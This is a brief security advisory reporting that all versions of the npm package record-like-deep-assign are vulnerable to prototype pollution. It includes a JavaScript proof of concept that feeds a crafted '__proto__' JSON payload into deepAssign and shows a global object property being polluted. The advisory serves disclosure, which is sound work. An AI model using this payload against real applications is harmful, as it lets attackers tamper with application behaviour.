All versions of package record-like-deep-assign are vulnerable to Prototype Pollution via the main functionality. ### PoC ```js const deepAssign = require('record-like-deep-assign'); let obj = {}; console.log("Before being polluted: " + obj.polluted); EVIL_JSON = JSON.parse('{"__proto__":{"polluted":true}}'); deepAssign({}, EVIL_JSON); console.log("After being polluted: " + obj.polluted); ```